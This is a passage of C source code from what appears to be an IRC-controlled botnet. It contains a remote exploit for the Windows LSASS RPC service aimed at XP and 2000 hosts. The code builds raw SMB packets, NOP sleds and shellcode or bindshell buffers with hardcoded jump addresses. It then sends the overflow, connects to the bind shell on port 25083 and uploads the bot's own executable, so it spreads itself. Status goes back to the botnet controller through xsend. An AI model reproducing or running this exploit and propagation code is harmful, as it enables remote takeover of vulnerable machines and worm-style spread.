	"\x00\x26\x00\x00\x40\x95\x0F\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
	"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x02\x10\x00\x00\x00"
	"\x84\x0F\x00\x00\x01\x00\x00\x00\x6C\x0F\x00\x00\x00\x00\x09\x00";

char shit3[] =
	"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
	"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
	"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
	"\x01\x00\x00\x00"
	"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
	"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
	"\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00"
	"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00"
	"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";
/*
unsigned char szPacketXP_End[] = {
	0x31, 0x31, 0x31,0x31,0x31, 0xF0, 0x00, 0xAD, 0x00, 0xBA, 0x00, 0x0D, 0x00, 0xF0, 0x00, 
	0xAD, 0x00, 0xBA, 0x00, 0x0D, 0x00, 0xF0, 0x00, 0xAD, 0x00, 0xBA, 0x00, 0x0D, 0x00, 0xF0, 0x00, 
	0xAD, 0x00, 0xBA, 0x00, 0xAB, 0x00, 0xAB, 0x00, 0xAB, 0x00, 0xAB, 0x00, 0xAB, 0x00, 0xAB, 0x00, 
	0xAB, 0x00, 0xAB, 0x00, 0x00, 0x00, 0xAD, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x00, 0x00, 
	0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x43, 0x00, 0x3A, 0x00, 
	0x5C, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
	0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x00, 0x00, 0x50, 0x1F, 0x79, 0x00, 0x13, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x61, 0x00, 
	0x69, 0x00, 0x6E, 0x00, 0x2E, 0x00, 0x62, 0x00, 0x61, 0x00, 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 
	0x72, 0x00, 0x74, 0x00, 0x2E, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x74, 0x00, 0x00, 0x00, 0xAD, 0xBA, 
	0x00, 0x00, 0x00, 0x00, 0x98, 0x1F, 0x79, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x0B, 0x00, 0x00, 0x00, 0x44, 0x00, 0x4F, 0x00, 0x4D, 0x00, 0x41, 0x00, 0x49, 0x00, 0x4E, 0x00, 
	0x5C, 0x00, 0x42, 0x00, 0x4C, 0x00, 0x41, 0x00, 0x00, 0x00, 0xAD, 0xBA, 0x68, 0x6C, 0x13, 0x00, 
	0xF8, 0x6F, 0xB6, 0x71, 0x08, 0x78, 0x1D, 0xB8, 0x06, 0x79, 0x05, 0x41, 0x1B, 0x68, 0x8F, 0x31, 
	0x19, 0xA5, 0x30, 0xAE, 0xF1, 0x8E, 0x2D, 0x0E, 0xA2, 0xFE, 0x59, 0xAE, 0x0B, 0xE1, 0x2F, 0xE9, 
	0x68, 0xF6, 0x2B, 0xE2, 0xBB, 0x3D, 0x79, 0x06, 0xFE, 0xC9, 0x8F, 0x29, 0xBC, 0x10, 0x21, 0xC2, 
	0x80, 0x7A, 0xC8, 0xD2, 0x21, 0xAE, 0x0E, 0xB5, 0xB6, 0x4B, 0xF5, 0xDB, 0x41, 0x63, 0x4F, 0xCD, 
	0x3D, 0x50, 0x49, 0xEC, 0xB2, 0x16, 0x79, 0x16, 0xE6, 0x62, 0x54, 0x69, 0x06, 0x48, 0xAD, 0x91, 
	0xA4, 0x18, 0x40, 0x65, 0x47, 0x65, 0x0C, 0x32, 0x51, 0x9C, 0x3F, 0x03, 0x18, 0x89, 0x73, 0xCA, 
	0xCF, 0xA8, 0x4E, 0xAF, 0x44, 0x45, 0x1A, 0x5E, 0x74, 0x45, 0x59, 0x35, 0xA2, 0x2A, 0xC7, 0xE7, 
	0x12, 0xB3, 0x9B, 0x2D, 0x0D, 0x25, 0x9A, 0xD4, 0x72, 0x9F, 0x0B, 0x80, 0x63, 0xCD, 0x31, 0xDB, 
	0x88, 0xB4, 0xA7, 0xF7, 0xFF, 0xFB, 0xBE, 0xB7, 0x52, 0x8B, 0x98, 0x0F, 0x4E, 0xE2, 0xC6, 0x94, 
	0x3F, 0x7E, 0xC2, 0x7A, 0xBA, 0xA0, 0x69, 0xAC, 0x3E, 0x8F, 0x45, 0x6D, 0x70, 0x32, 0xFC, 0x1D, 
	0xFA, 0xFF, 0x6E, 0x5D, 0xF7, 0x2F, 0x4F, 0xDF, 0x4C, 0x97, 0x5E, 0xD5, 0x6F, 0x2A, 0x36, 0xF7, 
	0x97, 0x35, 0xF2, 0x35, 0xC5, 0x0E, 0x6B, 0x8A, 0xD2, 0x24, 0x62, 0xED, 0xD5, 0xFE, 0xC6, 0xB4, 
	0x5B, 0x3D, 0xF8, 0x93, 0xA6, 0x51, 0xCD, 0xB7, 0xBE, 0xEA, 0x3B, 0x25, 0x3D, 0x85, 0x2E, 0xEA, 
	0x4C, 0x7B, 0x5E, 0x54, 0x65, 0xB4, 0xD4, 0x5D, 0x04, 0x63, 0x9A, 0x11, 0x8D, 0x0E, 0x16, 0x9C, 
	0x52, 0x51, 0x3A, 0x7A, 0x71, 0x1F, 0x5C, 0xE5, 0x7E, 0xB7, 0xBD, 0xAE, 0x53, 0xE6, 0xB9, 0xD3, 
	0x26, 0x1A, 0x72, 0xD2, 0xEE, 0x24, 0x79, 0xE9, 0x90, 0xD5, 0x6B, 0x05, 0x3C, 0x53, 0x19, 0x81, 
	0x02, 0xAF, 0x14, 0x35, 0xC0, 0x72, 0xAB, 0x14, 0xFC, 0x61, 0x3F, 0x0F, 0xB9, 0xF2, 0xC0, 0x26, 
	0xDE, 0x93, 0x37, 0x6F, 0x79, 0x01, 0x52, 0x34, 0xDA, 0xD7, 0x1D, 0x31, 0x15, 0xD8, 0x27, 0xE1, 
	0x43, 0xD1, 0xB9, 0x5C, 0xCA, 0xC9, 0x41, 0x4E, 0x90, 0x0C, 0x6B, 0xD0, 0xCA, 0x68, 0xF1, 0x54, 
	0xDF, 0xDF, 0xE0, 0x9A, 0x2E, 0xFF, 0xE2, 0x18, 0x99, 0xF1, 0x7A, 0xF7, 0xB2, 0x89, 0x09, 0x8D, 
	0x50, 0x6E, 0x04, 0x47, 0x3B, 0x23, 0xAB, 0x29, 0xF4, 0x91, 0xA2, 0x7B, 0x11, 0x76, 0xDD, 0x57, 
	0x9B, 0xD0, 0xC9, 0x18, 0x1B, 0x89, 0x47, 0x1D, 0x93, 0xF4, 0x92, 0x31, 0x24, 0xB2, 0x2D, 0x1C, 
	0x9B, 0xD5, 0xA5, 0x2C, 0xE0, 0x85, 0x0E, 0x5C, 0xBC, 0xC9, 0x0D, 0x99, 0x1E, 0x39, 0x07, 0x24, 
	0xB6, 0x78, 0xA4, 0x97, 0x04, 0xDE, 0x7D, 0x93, 0x62, 0x48, 0x5A, 0xE0, 0xA0, 0x6E, 0xF7, 0xAF, 
	0xA5, 0xCB, 0x95, 0x47, 0x10, 0x68, 0x3D, 0x83, 0x4C, 0xF9, 0x5D, 0xA0, 0xEA, 0x1B, 0x9A, 0x4B, 
	0xE7, 0xA1, 0x89, 0x15, 0xF2, 0x56, 0x22, 0xD7, 0xD8, 0x1C, 0x2F, 0xEE, 0xE3, 0x75, 0x19, 0x6D, 
	0xBD, 0x77, 0xF0, 0x5B, 0x41, 0xB2, 0x85, 0xCD, 0x73, 0xC5, 0x92, 0xAA, 0x46, 0x31, 0x7D, 0xB1, 
	0x6A, 0x4E, 0x0D, 0x11, 0x38, 0x60, 0xA5, 0xC0, 0xE9, 0xC5, 0x34, 0xE6, 0x83, 0xEE, 0xF8, 0x34, 
	0x9E, 0xC7, 0xD6, 0x37, 0x21, 0x1F, 0xDA, 0x36, 0x55, 0xC2, 0x80, 0xDB, 0x5D, 0x94, 0x76, 0xF6, 
	0xAF, 0x2E, 0x07, 0x2D, 0x56, 0xCF, 0x1C, 0x6C, 0x6B, 0xBB, 0xA7, 0xF0, 0x6A, 0x3C, 0xBD, 0x55, 
	0x8A, 0xDE, 0x60, 0xD2, 0xDD, 0xA0, 0xD6, 0x03, 0x50, 0x01, 0x52, 0x01, 0x29, 0x0E, 0x38, 0x3A, 
	0x35, 0xCF, 0x63, 0x26, 0xB7, 0x51, 0xD0, 0x3F, 0xCD, 0x8D, 0x49, 0x2F, 0x6F, 0x98, 0xBD, 0x77, 
	0x5F, 0x0C, 0xBC, 0xA9, 0x64, 0x03, 0x6F, 0x6B, 0x7C, 0x6A, 0x8D, 0xB2, 0x90, 0x6E, 0x13, 0x00, 
	0xF8, 0x6F, 0xB6, 0x71, 0x08, 0x78, 0x1D, 0xB8, 0x12, 0x64, 0x83, 0x44, 0x2E, 0x71, 0x9E, 0x89, 
	0xCE, 0x16, 0xE6, 0x70, 0xBF, 0x41, 0xF6, 0xC7, 0x09, 0xFE, 0xF0, 0xB4, 0xDA, 0xE1, 0x2F, 0xE9, 
	0xF7, 0x24, 0xF1, 0x48, 0xDE, 0x51, 0x77, 0x58, 0xFE, 0xC9, 0x68, 0x58, 0xB3, 0x85, 0xA4, 0xC2, 
	0x4C, 0x07, 0xC8, 0xAC, 0x00, 0xAE, 0x0E, 0x7C, 0x4D, 0x02, 0xF1, 0x6D, 0x41, 0x63, 0x4F, 0xAB, 
	0xAC, 0x50, 0x49, 0xEC, 0xB2, 0x16, 0xE6, 0x1E, 0xFF, 0xAD, 0xA1, 0x0A, 0x06, 0xEC, 0xA2, 0xC0, 
	0xB1, 0x1E, 0x40, 0x66, 0xAD, 0xA5, 0x0A, 0xD9, 0xDC, 0x9C, 0x3F, 0xDD, 0x18, 0x89, 0x73, 0xCA, 
	0xCF, 0xA8, 0x0B, 0x8B, 0x44, 0x45, 0x10, 0xDD, 0x74, 0xB5, 0xB4, 0x72, 0xA2, 0x2A, 0xC7, 0xE7, 
	0x12, 0xB3, 0x9B, 0x2D, 0x0D, 0xAD, 0x9A, 0xD4, 0x71, 0x9F, 0x0B, 0x75, 0xD7, 0x50, 0x31, 0xDB, 
	0x88, 0xB4, 0xA7, 0xF7, 0xFF, 0x7E, 0xBE, 0xB7, 0x72, 0x8B, 0xA8, 0xD9, 0x4E, 0xA1, 0xC6, 0x94, 
	0x3F, 0x7E, 0xC2, 0x60, 0xBA, 0xA0, 0x69, 0xEA, 0x3E, 0x0F, 0x45, 0x6D, 0x70, 0x32, 0xD2, 0x1D, 
	0xFA, 0x91, 0x6E, 0x5D, 0xF7, 0x2F, 0xE4, 0x46, 0x4C, 0x97, 0x8D, 0xD5, 0x6F, 0x2A, 0x36, 0xF7, 
	0x97, 0x36, 0xF2, 0x35, 0xC5, 0x0E, 0x6B, 0x8A, 0x64, 0x24, 0x95, 0xED, 0xD5, 0xFE, 0xC6, 0xB4, 
	0x5B, 0x3D, 0xF8, 0x0F, 0xA6, 0x51, 0xCD, 0xB7, 0xBE, 0xEA, 0xEA, 0x8E, 0xFF, 0x74, 0x98, 0xEA, 
	0x4C, 0xCD, 0x5E, 0x54, 0x65, 0xB4, 0xD4, 0x5D, 0xCA, 0x63, 0x9A, 0x69, 0x8D, 0x0E, 0x16, 0x9C, 
	0x52, 0x51, 0x3A, 0x7A, 0x71, 0x1F, 0x5C, 0xE5, 0x7E, 0xB7, 0x6D, 0xAE, 0x53, 0xE6, 0xB9, 0xD3, 
	0x26, 0x1A, 0x72, 0xD2, 0xEE, 0x24, 0x79, 0xE9, 0x90, 0xD5, 0x6B, 0x05, 0x3C, 0x53, 0x19, 0x81, 
	0x02, 0xAF, 0x14, 0x35, 0xC0, 0x72, 0xF4, 0x16, 0xFC, 0x61, 0x3F, 0xA0, 0x91, 0xF2, 0xC0, 0x26, 
	0xDE, 0x93, 0x37, 0x6F, 0x79, 0x01, 0xB8, 0x34, 0xDA, 0xD7, 0x86, 0x31, 0x15, 0xD8, 0x44, 0xE1, 
	0x43, 0xD1, 0xB2, 0xF5, 0xCA, 0xC9, 0x41, 0x6E, 0x90, 0x0C, 0x6B, 0xD0, 0xCA, 0x68, 0xF1, 0x54, 
	0xDF, 0xDF, 0xE0, 0x9A, 0x2E, 0xFF, 0xE2, 0x18, 0x99, 0xF1, 0x7A, 0xF7, 0x7A, 0x89, 0x09, 0x8D, 
	0x0E, 0x6E, 0x04, 0x47, 0x3B, 0x23, 0xAB, 0x29, 0xF4, 0x91, 0xA2, 0x29, 0x11, 0x76, 0xDD, 0x57, 
	0x9B, 0xD0, 0xC9, 0x18, 0x1B, 0x89, 0x47, 0x1D, 0xFD, 0xF4, 0x92, 0x31, 0x24, 0xB2, 0x2D, 0x1C, 
	0x9B, 0xD5, 0xA5, 0x2C, 0xE0, 0x85, 0x0E, 0x5C, 0xBC, 0xC9, 0x0D, 0x99, 0x1E, 0x39, 0x07, 0x24, 
	0xB6, 0x78, 0xA4, 0x97, 0x04, 0xDE, 0x7D, 0x93, 0x62, 0x48, 0x5A, 0xE0, 0xA0, 0x6E, 0xF7, 0xAF, 
	0xA5, 0xCB, 0x95, 0x47, 0x8D, 0x68, 0x3D, 0x83, 0x4C, 0xF9, 0x5D, 0xA0, 0xEA, 0x1B, 0x9A, 0x4B, 
	0xE7, 0xA1, 0x89, 0x15, 0xF2, 0x56, 0x22, 0xD7, 0xD8, 0x1C, 0x2F, 0xEE, 0xC2, 0x75, 0x19, 0x6D, 
	0xBD, 0x77, 0xF0, 0x5B, 0x41, 0xB2, 0x85, 0xCD, 0x73, 0xC5, 0x92, 0xAA, 0x46, 0x31, 0x7D, 0xB1, 
	0x6A, 0x4E, 0x0D, 0x11, 0x38, 0x60, 0xA5, 0xC0, 0xE9, 0xC5, 0x34, 0xF9, 0x83, 0xDD, 0xC3, 0x34, 
	0x9E, 0xC7, 0xD6, 0x37, 0x21, 0x1F, 0xDA, 0x36, 0x55, 0xC2, 0x80, 0xDB, 0x5D, 0x94, 0x76, 0xF6, 
	0xAF, 0x2E, 0x07, 0x2D, 0x9D, 0xCF, 0x1C, 0x6C, 0x6B, 0xBB, 0xA7, 0xF0, 0x6A, 0x3C, 0xBD, 0x55, 
	0x8A, 0xDE, 0x60, 0xD2, 0xDD, 0xA0, 0xD6, 0x03, 0x50, 0x01, 0x52, 0x01, 0x29, 0x0E, 0x38, 0x3A, 
	0x35, 0xCF, 0x3E, 0x26, 0xB7, 0x51, 0xD0, 0x3F, 0xCD, 0x8D, 0x49, 0x2F, 0x6F, 0x98, 0xBD, 0x77, 
	0x5F, 0x0C, 0xBC, 0xA9, 0x64, 0x03, 0x6F, 0x6B, 0x7C, 0x6A, 0x8D, 0xB2, 0xC0, 0x08, 0x00, 0x00, 0x31, 0x31, 0x31,0x31,0x31 };

///\*
#define LEN                     3500
#define BUFSIZE                 2000
#define NOP                     0x90

#define	LSASS_BSPORT	25083

struct targets { int num; long jmpaddr; }
ttarget[]= {
	{ 0,    0x01004600 },//600 }, //545 },//600 }, "WinXP Professional    [universal] lsass.exe ",// jmp esp addr
	{ 1,    0x7515123c }, // "Win2k Professional    [universal] netrap.dll", jmp ebx addr
	{ 2,    0x751c123c }, // "Win2k Advanced Server [SP4]       netrap.dll", jmp ebx addr
};

bool XLsassExploit(CLIENT* client, char *Host, unsigned short Port, char *adv)
{
	//bindshell - 405
	//shellcode - 460
//	printf("sizeof(bindshell): %d, sizeof(shellcode: %d\r\n", sizeof(bindshell), sizeof(shellcode));
//	system("pause");

//	sizeof(szPacketXP_End);

	int i, target, len;//, targetOS;

	char hostipc[40] = {0};
	char hostipc2[40*2] = {0};
	char buf[LEN+1] = {0};
	char sendbuf[(LEN+1)*2] = {0};
	char req4u[sizeof(req4)+20] = {0};
	char screq[BUFSIZE+sizeof(req7)+1500+440] = {0};
	char screq2k[4348+4060] = {0};
	char screq2k2[4348+4060] = {0};
	char recvbuf[1600] = {0};
	char strasm[]="\x66\x81\xEC\x1C\x07\xFF\xE4";
	char strBuffer[BUFSIZE] = {0};

	int  numbytes, read=  0;
	char buffer[1048] = {0};//2048] = {0}; 
//	char	cmd_buff[400] = {0};

	char smblen;
	char unclen;

	unsigned short port;

	if (adv)
	{

	if (XFindThreadByID(TFTPSERVER_THREAD) <= 0)
	{
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "TFTP Server is not running, aborted");
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 1);
		return false;
	}
	}


	SOCKET ExploitSocket, ShellSocket;
	SOCKADDR_IN ExploitSin, ShellSin;

//	targetOS = FpHost(client, Host, FP_RPC);

//		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Detected: Windows %s:%d", (targetOS == OS_WINXP)?("XP"):("2k"), targetOS);



//	else if (targetOS == OS_UNKNOWN)
//		targetOS = 0;

//	if (targetOS == OS_WINXP)
//		target = 0; //else return false;
//	else if (targetOS == OS_WIN2K)// 10)
//		target = 1;
//	else
//		target = 2;

//	if (targetOS == OS_UNKNOWN || targetOS == OS_WINNT)
//	{
//		target = 0;
	//	xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 2);
	//	return false;
//	}
	target = 0;

	ExploitSocket = XSocket();

	if BAD_SOCKET(ExploitSocket)
	{
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 3);
		return false;
	}

	memset(&ExploitSin, 0, sizeof(SOCKADDR_IN));
	ExploitSin.sin_family = AF_INET;
	ExploitSin.sin_port = htons((unsigned short)Port);
	ExploitSin.sin_addr.S_un.S_addr = inet_addr(XResolveHost2(Host));

	if (connect(ExploitSocket, (LPSOCKADDR)&ExploitSin, sizeof(ExploitSin)) == SOCKET_ERROR)
	{
		closesocket(ExploitSocket);
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 4);
		return false;
	}

//	for (int x = 0; x < 2; x++)
	{

	_snprintf(hostipc, sizeof(hostipc),"\\\\%s\\ipc$", XResolveHost2(Host));

	for (i=0; i<40; i++) {
		hostipc2[i*2] = hostipc[i];
		hostipc2[i*2+1] = 0;
	}

	memcpy(req4u, req4, sizeof(req4)-1);
	memcpy(req4u+48, &hostipc2[0], strlen(hostipc)*2);
	memcpy(req4u+47+strlen(hostipc)*2, req4+87, 9);

	smblen = 52+(char)strlen(hostipc)*2;
	memcpy(req4u+3, &smblen, 1);

	unclen = 9 + (char)strlen(hostipc)*2;
	memcpy(req4u+45, &unclen, 1);

	if (adv)
	{
	port = htons(25083)^(USHORT)0x9999;
	memcpy(&bindshell[176], &port, 2);
	}
	else
	{
	port = htons(25083)^(USHORT)0x8080;
	memcpy(&shellcode[219], &port, 2);
	}

	if (target == 1 || target == 2)
	{
		memset(buf, NOP, LEN);

		//memcpy(&buf[2020], "\x3c\x12\x15\x75", 4);
		memcpy(&buf[2020], &ttarget[target].jmpaddr, 4);
		
		if (adv)
		memcpy(&buf[2036], &bindshell, strlen(bindshell)); ////////////////////////////////////
		else
		memcpy(&buf[2036], &shellcode, strlen(shellcode));

		memcpy(&buf[2840], "\xeb\x06\xeb\x06", 4);
		memcpy(&buf[2844], &ttarget[target].jmpaddr, 4); // jmp ebx addr
		//memcpy(&buf[2844], "\x3c\x12\x15\x75", 4); // jmp ebx addr

		if (adv)
		memcpy(&buf[2856], &bindshell, strlen(bindshell)); //////////////////////////////////
		else
		memcpy(&buf[2856], &shellcode, strlen(shellcode));

		for (i=0; i<LEN; i++)
		{
			sendbuf[i*2] = buf[i];
			sendbuf[i*2+1] = 0;
		}
		sendbuf[LEN*2]=0;
		sendbuf[LEN*2+1]=0;

		memset(screq2k, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);
		memset(screq2k2, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);

	}
	else
	{

		memset(strBuffer, NOP, BUFSIZE);
		if (adv)
		memcpy(strBuffer+160, bindshell, strlen(bindshell)); ///////////////////////
		else
		memcpy(strBuffer+160, shellcode, strlen(shellcode));
		
		*(long *)&strBuffer[1964]=ttarget[target].jmpaddr;
		memcpy(strBuffer+1980, strasm, strlen(strasm));

	}

	memset(screq, 0x31, BUFSIZE+sizeof(req7)+1500);

	if (send(ExploitSocket, req1, sizeof(req1)-1, 0) == SOCKET_ERROR)
	{
		closesocket(ExploitSocket);
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 5);
		return false;
	}

	if (!XWaitNetworkData(ExploitSocket, 60, TRUE))
	{
		closesocket(ExploitSocket);
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 6);
		return false;
	}
	else if ((len = recv(ExploitSocket, recvbuf, sizeof(recvbuf), 0)) < 0)
	{
		closesocket(ExploitSocket);
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 7);
		return false;
	}	

	if (send(ExploitSocket, req2, sizeof(req2)-1, 0) == SOCKET_ERROR)
	{
		closesocket(ExploitSocket);
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 8);
		return false;
	}

	if (!XWaitNetworkData(ExploitSocket, 60, TRUE))
	{
		closesocket(ExploitSocket);
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 9);
		return false;
	}
	else if ((len = recv(ExploitSocket, recvbuf, sizeof(recvbuf), 0)) < 0)
	{
		closesocket(ExploitSocket);
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 10);
		return false;
	}

	if (send(ExploitSocket, req3, sizeof(req3)-1, 0) == SOCKET_ERROR)
	{
		closesocket(ExploitSocket);
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 11);
		return false;
	}

	if (!XWaitNetworkData(ExploitSocket, 60, TRUE))
	{
		closesocket(ExploitSocket);
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 12);
		return false;
	}
	else if ((len = recv(ExploitSocket, recvbuf, sizeof(recvbuf), 0)) < 0)
	{
		closesocket(ExploitSocket);
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 13);
		return false;
	}	

	if (send(ExploitSocket, req4u, smblen+4, 0) == SOCKET_ERROR)
	{
		closesocket(ExploitSocket);
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 14);
		return false;
	}

	if (!XWaitNetworkData(ExploitSocket, 60, TRUE))
	{
		closesocket(ExploitSocket);
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 15);
		return false;
	}
	else if ((len = recv(ExploitSocket, recvbuf, sizeof(recvbuf), 0)) < 0)
	{
		closesocket(ExploitSocket);
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 16);
		return false;
	}	

	if (send(ExploitSocket, req5, sizeof(req5)-1, 0) == SOCKET_ERROR)
	{
		closesocket(ExploitSocket);
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 17);
		return false;
	}

	if (!XWaitNetworkData(ExploitSocket, 60, TRUE))
	{
		closesocket(ExploitSocket);
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 18);
		return false;
	}
	else if ((len = recv(ExploitSocket, recvbuf, sizeof(recvbuf), 0)) < 0)
	{
		closesocket(ExploitSocket);
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 19);
		return false;
	}	

	if (send(ExploitSocket, req6, sizeof(req6)-1, 0) == SOCKET_ERROR)
	{
		closesocket(ExploitSocket);
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 20);
		return false;
	}

	if (!XWaitNetworkData(ExploitSocket, 60, TRUE))
	{
		closesocket(ExploitSocket);
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 21);
		return false;
	}
	else if ((len = recv(ExploitSocket, recvbuf, sizeof(recvbuf), 0)) < 0)
	{
		closesocket(ExploitSocket);
		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 22);
		return false;
	}	

	if ((target == 1) || (target == 2))
	{
		memcpy(screq2k, req8, sizeof(req8)-1);
		memcpy(screq2k+sizeof(req8)-1, sendbuf, (LEN+1)*2);

		memcpy(screq2k2, req9, sizeof(req9)-1);
		memcpy(screq2k2+sizeof(req9)-1, sendbuf+4348-sizeof(req8)+1, (LEN+1)*2-4348);

		memcpy(screq2k2+sizeof(req9)-1+(LEN+1)*2-4348-sizeof(req8)+1+206, shit3, sizeof(shit3)-1);

		if (send(ExploitSocket, screq2k, 4348, 0) == SOCKET_ERROR)
		{
			closesocket(ExploitSocket);
			xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 23);
			return false;
		}

		if (!XWaitNetworkData(ExploitSocket, 60, TRUE))
		{
			closesocket(ExploitSocket);
			xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 24);
			return false;
		}
		else if ((len = recv(ExploitSocket, recvbuf, sizeof(recvbuf), 0)) < 0)
		{
			closesocket(ExploitSocket);
			xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 25);
			return false;
		}

		if (send(ExploitSocket, screq2k2, 4060, 0) == SOCKET_ERROR)
		{
			closesocket(ExploitSocket);
			xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 26);
			return false;
		}

	}
	else
	{

		memcpy(screq, req7, sizeof(req7)-1);
		memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE);
		memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16);

		screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0;

		if (send(ExploitSocket, screq, BUFSIZE+sizeof(req7)-1+1500-304, 0) == SOCKET_ERROR)
		{
			closesocket(ExploitSocket);
			xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 27);
			return false;
		}

	}
	}


//	return true;

//	if (!XWaitNetworkData(ExploitSocket, 60, TRUE))
//	{
//		closesocket(ExploitSocket);
//		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 28);
//		return false;
//	}
//	else if ((len = recv(ExploitSocket, recvbuf, sizeof(recvbuf), 0)) <= 0)
//	{
//		closesocket(ExploitSocket);
//		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 29);
//		return false;
//	}

//	return true; //////////////////////////////

	Sleep(1000);

	
 
//	struct hostent *he;
////	struct sockaddr_in their_addr; 
//	char buf[1];//1024];
//	char *a=NULL;

//(long) funct = &scode;//shellcode;
//	WSAStartup(MAKEWORD(2,0),&wsa);
//	funct();
//	CreateThread(0, 0, (LPTHREAD_START_ROUTINE)funct, NULL, 0, 0);

//	system("pause");




//	printf("[+] Opening File\n");

	if (!adv)
	{

		FILE*	fp = fopen(MainStruct.CurrentFilename, "rb");
		if (!fp)
		{
			closesocket(ExploitSocket);
	//		closesocket(ShellSocket);
			xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 30);
			return false;
		}
		ShellSocket = XSocket();
		if BAD_SOCKET(ShellSocket)
		{
			closesocket(ExploitSocket);
			fclose(fp);
			xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 31);
			return false;
		}

		memset(&ShellSin, 0, sizeof(SOCKADDR_IN));
		ShellSin.sin_family = AF_INET;
		ShellSin.sin_port = htons(25083);//LSASS_BSPORT);
		ShellSin.sin_addr.S_un.S_addr = inet_addr(XResolveHost2(Host));

		if (connect(ShellSocket, (LPSOCKADDR)&ShellSin, sizeof(ShellSin)) == SOCKET_ERROR)
		{
			closesocket(ExploitSocket);
			closesocket(ShellSocket);
			fclose(fp);
			xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 32);
			return false;
		}
		 

		while (!feof(fp))
		{
			read = fread(buffer, 1, sizeof(buffer), fp);
			Sleep(200);
			if ((numbytes = send(ShellSocket, buffer, read, 0)) == SOCKET_ERROR)
			{
				closesocket(ExploitSocket);
				closesocket(ShellSocket);
				fclose(fp);
				xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 33);
				return false;
			}
		 }

		fclose(fp);

		closesocket(ExploitSocket);
		closesocket(ShellSocket);

		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Exploiting: %s", Host);

		return true;
	}
	else
	{
